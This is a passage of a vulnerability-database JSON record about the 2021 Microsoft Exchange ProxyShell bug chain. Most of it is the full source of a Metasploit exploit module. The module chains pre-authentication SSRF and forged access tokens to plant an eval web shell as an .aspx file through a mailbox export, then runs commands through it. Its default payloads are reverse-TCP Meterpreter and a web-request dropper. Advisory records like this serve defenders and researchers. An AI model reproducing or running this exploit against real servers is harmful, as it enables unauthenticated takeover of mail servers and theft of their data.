"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-13T20:56:26", "type": "rapid7blog", "title": "Patch Tuesday - July 2021", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-31183", "CVE-2021-31196", "CVE-2021-31206", "CVE-2021-31947", "CVE-2021-31961", "CVE-2021-31979", "CVE-2021-31984", "CVE-2021-33740", "CVE-2021-33743", "CVE-2021-33744", "CVE-2021-33745", "CVE-2021-33746", "CVE-2021-33749", "CVE-2021-33750", "CVE-2021-33751", "CVE-2021-33752", "CVE-2021-33753", "CVE-2021-33754", "CVE-2021-33755", "CVE-2021-33756", "CVE-2021-33757", "CVE-2021-33758", "CVE-2021-33759", "CVE-2021-33760", "CVE-2021-33761", "CVE-2021-33763", "CVE-2021-33764", "CVE-2021-33765", "CVE-2021-33766", "CVE-2021-33767", "CVE-2021-33768", "CVE-2021-33771", "CVE-2021-33772", "CVE-2021-33773", "CVE-2021-33774", "CVE-2021-33775", "CVE-2021-33776", "CVE-2021-33777", "CVE-2021-33778", "CVE-2021-33779", "CVE-2021-33780", "CVE-2021-33781", "CVE-2021-33782", "CVE-2021-33783", "CVE-2021-33784", "CVE-2021-33785", "CVE-2021-33786", "CVE-2021-33788", "CVE-2021-34438", "CVE-2021-34439", "CVE-2021-34440", "CVE-2021-34441", "CVE-2021-34442", "CVE-2021-34444", "CVE-2021-34445", "CVE-2021-34446", "CVE-2021-34447", "CVE-2021-34448", "CVE-2021-34449", "CVE-2021-34450", "CVE-2021-34451", "CVE-2021-34452", "CVE-2021-34454", "CVE-2021-34455", "CVE-2021-34456", "CVE-2021-34457", "CVE-2021-34458", "CVE-2021-34459", "CVE-2021-34460", "CVE-2021-34461", "CVE-2021-34462", "CVE-2021-34464", "CVE-2021-34466", "CVE-2021-34467", "CVE-2021-34468", "CVE-2021-34469", "CVE-2021-34470", "CVE-2021-34473", "CVE-2021-34474", "CVE-2021-34476", "CVE-2021-34477", "CVE-2021-34479", "CVE-2021-34488", "CVE-2021-34489", "CVE-2021-34490", "CVE-2021-34491", "CVE-2021-34492", "CVE-2021-34493", "CVE-2021-34494", "CVE-2021-34496", "CVE-2021-34497", "CVE-2021-34498", "CVE-2021-34499", "CVE-2021-34500", "CVE-2021-34501", "CVE-2021-34503", "CVE-2021-34504", "CVE-2021-34507", "CVE-2021-34508", "CVE-2021-34509", "CVE-2021-34510", "CVE-2021-34511", "CVE-2021-34512", "CVE-2021-34513", "CVE-2021-34514", "CVE-2021-34516", "CVE-2021-34517", "CVE-2021-34518", "CVE-2021-34519", "CVE-2021-34520", "CVE-2021-34521", "CVE-2021-34522", "CVE-2021-34523", "CVE-2021-34525", "CVE-2021-34527", "CVE-2021-34528", "CVE-2021-34529"], "modified": "2021-07-13T20:56:26", "id": "RAPID7BLOG:4B35B23167A9D5E016537F6A81E4E9D4", "href": "https://blog.rapid7.com/2021/07/13/patch-tuesday-july-2021/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2021-08-20T15:47:04", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyShell Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T00:00:00", "id": "PACKETSTORM:163895", "href": "https://packetstormsecurity.com/files/163895/Microsoft-Exchange-ProxyShell-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'winrm' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::FileDropper \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyShell RCE', \n'Description' => %q{ \nThis module exploit a vulnerability on Microsoft Exchange Server that \nallows an attacker to bypass the authentication (CVE-2021-31207), impersonate an \narbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve \nthe RCE (Remote Code Execution). \n \nBy taking advantage of this vulnerability, you can execute arbitrary \ncommands on the remote Microsoft Exchange Server. \n \nThis vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, \nExchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, \nExchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. \n \nAll components are vulnerable by default. \n}, \n'Author' => [ \n'Orange Tsai', # Discovery \n'Jang (@testanull)', # Vulnerability analysis \n'PeterJson', # Vulnerability analysis \n'brandonshi123', # Vulnerability analysis \n'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template \n'Spencer McIntyre', # Metasploit module \n'wvu' # Testing \n], \n'References' => [ \n[ 'CVE', '2021-34473' ], \n[ 'CVE', '2021-34523' ], \n[ 'CVE', '2021-31207' ], \n[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ], \n[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ], \n[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ] \n], \n'DisclosureDate' => '2021-04-06', # pwn2own 2021 \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Platform' => ['windows'], \n'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Powershell', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_powershell, \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' \n} \n} \n], \n[ \n'Windows Dropper', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_dropper, \n'CmdStagerFlavor' => %i[psh_invokewebrequest], \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', \n'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' \n} \n} \n], \n[ \n'Windows Command', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_CMD], \n'Type' => :windows_command, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' \n} \n} \n] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'AKA' => ['ProxyShell'], \n'Reliability' => [REPEATABLE_SESSION] \n} \n) \n) \n \nregister_options([ \nOptString.new('EMAIL', [true, 'A known email address for this organization']), \nOptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]), \n]) \n \nregister_advanced_options([ \nOptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']), \nOptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']), \nOptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']), \nOptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']), \nOptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), \nOptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), \nOptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) \n]) \nend \n \ndef check \n@ssrf_email ||= Faker::Internet.email \nres = send_http('GET', '/mapi/nspi/') \nreturn CheckCode::Unknown if res.nil? \nreturn CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint' \n \nCheckCode::Vulnerable \nend \n \ndef cmd_windows_generic? \ndatastore['PAYLOAD'] == 'cmd/windows/generic' \nend \n \ndef encode_cmd(cmd) \ncmd.gsub!('\\\\', '\\\\\\\\\\\\') \ncmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b') \nend \n \ndef random_mapi_id \nid = \"{#{Rex::Text.rand_text_hex(8)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\" \nid.upcase \nend \n \ndef request_autodiscover(_server_name) \nxmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } \n \nresponse = send_http( \n'POST', \n'/autodiscover/autodiscover.xml', \ndata: soap_autodiscover, \nctype: 'text/xml; charset=utf-8' \n) \n \ncase response.body \nwhen %r{<ErrorCode>500</ErrorCode>} \nfail_with(Failure::NotFound, 'No Autodiscover information was found') \nwhen %r{<Action>redirectAddr</Action>} \nfail_with(Failure::NotFound, 'No email address was found') \nend \n \nxml = Nokogiri::XML.parse(response.body) \n \nlegacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content \nfail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty? \n \nserver = '' \nxml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| \ntype = item.at_xpath('./xmlns:Type', xmlns)&.content \nif type == 'EXCH' \nserver = item.at_xpath('./xmlns:Server', xmlns)&.content \nend \nend \nfail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty? \n \n{ server: server, legacy_dn: legacy_dn } \nend \n \ndef request_fqdn \nntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \nreceived = send_request_raw( \n'method' => 'RPC_IN_DATA', \n'uri' => normalize_uri('rpc', 'rpcproxy.dll'), \n'headers' => { \n'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\" \n} \n) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nif received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i) \nhash = received['WWW-Authenticate'].split('NTLM ')[1] \nmessage = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) \ndns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] \n \nreturn dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase \nend \n \nfail_with(Failure::NotFound, 'No Backend server was found') \nend \n \n# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff \ndef request_mapi(_server_name, legacy_dn) \ndata = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\" \nheaders = { \n'X-RequestType' => 'Connect', \n'X-ClientInfo' => random_mapi_id, \n'X-ClientApplication' => datastore['MapiClientApp'], \n'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\" \n} \n \nsid = '' \nresponse = send_http( \n'POST', \n'/mapi/emsmdb', \ndata: data, \nctype: 'application/mapi-http', \nheaders: headers \n) \nif response&.code == 200 \nsid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s \nend \nfail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty? \n \nsid \nend \n \n# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. \ndef run_cve_2021_34473 \nif datastore['BackendServerName'] && !datastore['BackendServerName'].empty? \nserver_name = datastore['BackendServerName'] \nprint_status(\"Internal server name forced to: #{server_name}\") \nelse \nprint_status('Retrieving backend FQDN over RPC request') \nserver_name = request_fqdn \nprint_status(\"Internal server name: #{server_name}\") \nend \n@backend_server_name = server_name \n \n# get information via an autodiscover request. \nprint_status('Sending autodiscover request') \nautodiscover = request_autodiscover(server_name) \n \nprint_status(\"Server: #{autodiscover[:server]}\") \nprint_status(\"LegacyDN: #{autodiscover[:legacy_dn]}\") \n \n# get the user UID using mapi request. \nprint_status('Sending mapi request') \nmailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn]) \nprint_status(\"SID: #{mailbox_user_sid} (#{datastore['EMAIL']})\") \n \nsend_payload(mailbox_user_sid) \n@common_access_token = build_token(mailbox_user_sid) \nend \n \ndef send_http(method, uri, opts = {}) \nssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\" \nunless opts[:cookie] == :none \nopts[:cookie] = \"Email=#{ssrf}\" \nend \n \nrequest = { \n'method' => method, \n'uri' => \"/#{ssrf}#{uri}\", \n'agent' => datastore['UserAgent'], \n'ctype' => opts[:ctype], \n'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' } \n} \nrequest = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? \nrequest = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? \nrequest = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? \n \nreceived = send_request_cgi(request) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nreceived \nend \n \ndef send_payload(user_sid) \n@shell_input_name = rand_text_alphanumeric(8..12) \n@draft_subject = rand_text_alphanumeric(8..12) \npayload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\")) \nfile_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\" \nenvelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject) \n \nsend_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8') \nend \n \ndef soap_autodiscover \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\"> \n<Request> \n<EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress> \n<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> \n</Request> \n</Autodiscover> \nSOAP \nend \n \ndef web_directory \nif datastore['UseAlternatePath'] \ndatastore['IISWritePath'].gsub('\\\\', '/') \nelse \ndatastore['ExchangeWritePath'].gsub('\\\\', '/') \nend \nend \n \ndef build_token(sid) \nuint8_tlv = proc do |type, value| \ntype + [value.length].pack('C') + value \nend \n \ntoken = uint8_tlv.call('V', \"\\x00\") \ntoken << uint8_tlv.call('T', 'Windows') \ntoken << \"\\x43\\x00\" \ntoken << uint8_tlv.call('A', 'Kerberos') \ntoken << uint8_tlv.call('L', datastore['EMAIL']) \ntoken << uint8_tlv.call('U', sid) \n \n# group data for S-1-5-32-544 \ntoken << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\" \nRex::Text.encode_base64(token) \nend \n \ndef execute_powershell(cmdlet, args: []) \nwinrm = SSRFWinRMConnection.new({ \nendpoint: full_uri('PowerShell/'), \ntransport: :ssrf, \nssrf_proc: proc do |method, uri, opts| \nuri = \"#{uri}?X-Rps-CAT=#{@common_access_token}\" \nuri << \"&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\" \nopts[:cookie] = :none \nopts[:data].gsub!( \n%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>}, \n\"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>\" \n) \nopts[:data].gsub!( \n%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand=\"true\">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>}, \n\"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>\" \n) \nsend_http(method, uri, opts) \nend \n}) \n \nwinrm.shell(:powershell) do |shell| \nshell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH) \nshell.extend(SSRFWinRMConnection::PowerShell) \nshell.run({ cmdlet: cmdlet, args: args }) \nend \nend \n \ndef exploit \n@ssrf_email ||= Faker::Internet.email \nprint_status('Attempt to exploit for CVE-2021-34473') \nrun_cve_2021_34473 \n \npowershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\", cookie: :none) \nfail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200 \n \nprint_status('Assigning the \\'Mailbox Import Export\\' role') \nexecute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ]) \n \n@shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\" \nif datastore['UseAlternatePath'] \nunc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\" \nunc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\" \nelse \nunc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\" \nunc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\" \nend \n \nnormal_path = unc_path.gsub(/^\\\\+127\\.0\\.0\\.1\\\\(.)\\$\\\\/, '\\1:\\\\') \nprint_status(\"Writing to: #{normal_path}\") \nregister_file_for_cleanup(normal_path) \n \n@export_name = rand_text_alphanumeric(8..12) \nexecute_powershell('New-MailboxExportRequest', args: [ \n{ name: '-Name', value: @export_name }, \n{ name: '-Mailbox', value: datastore['EMAIL'] }, \n{ name: '-IncludeFolders', value: '#Drafts#' }, \n{ name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" }, \n{ name: '-ExcludeDumpster' }, \n{ name: '-FilePath', value: unc_path } \n]) \n \nprint_status('Waiting for the export request to complete...') \n30.times do \nif execute_command('whoami')&.code == 200 \nprint_good('The mailbox export request has completed') \nbreak \nend \nsleep 5 \nend \n \nprint_status('Triggering the payload') \ncase target['Type'] \nwhen :windows_command \nvprint_status(\"Generated payload: #{payload.encoded}\") \n \nif !cmd_windows_generic? \nexecute_command(payload.encoded) \nelse \nboundary = rand_text_alphanumeric(8..12) \nresponse = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\") \n \nprint_warning('Dumping command output in response') \nif response.body =~ /START#{boundary}(.*)END#{boundary}/m \nprint_line(Regexp.last_match(1).strip) \nelse \nprint_error('Empty response, no command output') \nend \nend \nwhen :windows_dropper \nexecute_command(generate_cmdstager(concat_operator: ';').join) \nwhen :windows_powershell \ncmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) \nexecute_command(cmd) \nend \nend \n \ndef cleanup \nsuper \nreturn unless @common_access_token && @export_name \n \nprint_status('Removing the mailbox export request') \nexecute_powershell('Remove-MailboxExportRequest', args: [ \n{ name: '-Identity', value: \"#{datastore['EMAIL']}\\\\#{@export_name}\" }, \n{ name: '-Confirm', value: false } \n]) \nend \n \ndef execute_command(cmd, _opts = {}) \nif !cmd_windows_generic? \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\" \nelse \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\" \nend \n \nsend_request_raw( \n'method' => 'POST', \n'uri' => normalize_uri(web_directory, @shell_filename), \n'ctype' => 'application/x-www-form-urlencoded', \n'data' => \"#{@shell_input_name}=#{cmd}\" \n) \nend \nend \n \nclass PstEncoding \nENCODE_TABLE = [ \n71, 241, 180, 230, 11, 106, 114, 72, \n133, 78, 158, 235, 226, 248, 148, 83, \n224, 187, 160, 2, 232, 90, 9, 171, \n219, 227, 186, 198, 124, 195, 16, 221, \n57, 5, 150, 48, 245, 55, 96, 130, \n140, 201, 19, 74, 107, 29, 243, 251, \n143, 38, 151, 202, 145, 23, 1, 196, \n50, 45, 110, 49, 149, 255, 217, 35, \n209, 0, 94, 121, 220, 68, 59, 26, \n40, 197, 97, 87, 32, 144, 61, 131, \n185, 67, 190, 103, 210, 70, 66, 118, \n192, 109, 91, 126, 178, 15, 22, 41, \n60, 169, 3, 84, 13, 218, 93, 223, \n246, 183, 199, 98, 205, 141, 6, 211, \n105, 92, 134, 214, 20, 247, 165, 102, \n117, 172, 177, 233, 69, 33, 112, 12, \n135, 159, 116, 164, 34, 76, 111, 191, \n31, 86, 170, 46, 179, 120, 51, 80, \n176, 163, 146, 188, 207, 25, 28, 167, \n99, 203, 30, 77, 62, 75, 27, 155, \n79, 231, 240, 238, 173, 58, 181, 89, \n4, 234, 64, 85, 37, 81, 229, 122, \n137, 56, 104, 82, 123, 252, 39, 174, \n215, 189, 250, 7, 244, 204, 142, 95, \n239, 53, 156, 132, 43, 21, 213, 119, \n52, 73, 182, 18, 10, 127, 113, 136, \n253, 157, 24, 65, 125, 147, 216, 88, \n44, 206, 254, 36, 175, 222, 184, 54, \n200, 161, 128, 166, 153, 152, 168, 47, \n14, 129, 101, 115, 228, 194, 162, 138, \n212, 225, 17, 208, 8, 139, 42, 242, \n237, 154, 100, 63, 193, 108, 249, 236 \n].freeze \n \ndef self.encode(data) \nencoded = '' \ndata.each_char do |char| \nencoded << ENCODE_TABLE[char.ord].chr \nend \nencoded \nend \nend \n \nclass XMLTemplate \ndef self.render(template_name, context = nil) \nfile_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', \"#{template_name}.xml.erb\") \ntemplate = ::File.binread(file_path) \ncase context \nwhen Hash \nb = binding \nlocals = context.collect { |k, _| \"#{k} = context[#{k.inspect}]; \" } \nb.eval(locals.join) \nelse \nraise ArgumentError \nend \nb.eval(Erubi::Engine.new(template).src) \nend \nend \n \nclass SSRFWinRMConnection < WinRM::Connection \nclass MessageFactory < WinRM::PSRP::MessageFactory \ndef self.create_pipeline_message(runspace_pool_id, pipeline_id, command) \nWinRM::PSRP::Message.new( \nrunspace_pool_id, \nWinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline], \nXMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]), \npipeline_id \n) \nend \nend \n \n# we have to define this class so we can define our own transport factory that provides one backed by the SSRF \n# vulnerability \nclass TransportFactory < WinRM::HTTP::TransportFactory \nclass HttpSsrf < WinRM::HTTP::HttpTransport \n# rubocop:disable Lint/ \ndef initialize(endpoint, options) \n@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint \n@ssrf_proc = options[:ssrf_proc] \nend \n \ndef send_request(message) \nresp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message }) \nWinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml \nend \nend \n \ndef create_transport(connection_opts) \nraise NotImplementedError unless connection_opts[:transport] == :ssrf \n \nsuper \nend \n \nprivate \n \ndef init_ssrf_transport(opts) \nHttpSsrf.new(opts[:endpoint], opts) \nend \nend \n \nmodule PowerShell \ndef send_command(command, _arguments) \ncommand_id = SecureRandom.uuid.to_s.upcase \nmessage = MessageFactory.create_pipeline_message(@runspace_id, command_id, command) \nfragmenter.fragment(message) do |fragment| \ncommand_args = [connection_opts, shell_id, command_id, fragment] \nif fragment.start_fragment \nresp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build) \ncommand_id = REXML::XPath.first(resp_doc, \"//*[local-name() = 'CommandId']\").text \nelse \ntransport.send_request(WinRM::WSMV::SendData.new(*command_args).build) \nend \nend \n \ncommand_id \nend \nend \n \ndef initialize(connection_opts) \n# these have to be set to truthy values to pass the option validation, but they're not actually used because hax \nconnection_opts.merge!({ user: :ssrf, password: :ssrf }) \nsuper(connection_opts) \nend \n \ndef transport \n@transport ||= begin \ntransport_factory = TransportFactory.new \ntransport_factory.create_transport(@connection_opts) \nend \nend \nend \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/163895/exchange_proxyshell_rce.rb.txt"}], "attackerkb": [{"lastseen": "2023-05-27T17:12:29", "description": "ProxyShell is an exploit chain targeting on-premise installations of Microsoft Exchange Server. It was demonstrated by Orange Tsai at Pwn2Own in April 2021 and is comprised of three CVEs that, when chained, allow a remote unauthenticated attacker to execute arbitrary code on vulnerable targets. The three CVEs are CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207.\n\nDetails are available in Orange Tsai\u2019s [Black Hat USA 2020 talk](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>) and follow-on [blog series](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>). ProxyShell is being broadly exploited in the wild as of August 12, 2021.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at August 12, 2021 9:19pm UTC reported:\n\nCheck out the [Rapid7 analysis](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis>) for details on the exploit chain. Seems like a lot of the PoC implementations so far are using admin mailboxes, but I\u2019d imagine folks are going to start finding ways around that soon.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-20T00:00:00", "type": "attackerkb", "title": "ProxyShell Exploit Chain", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", 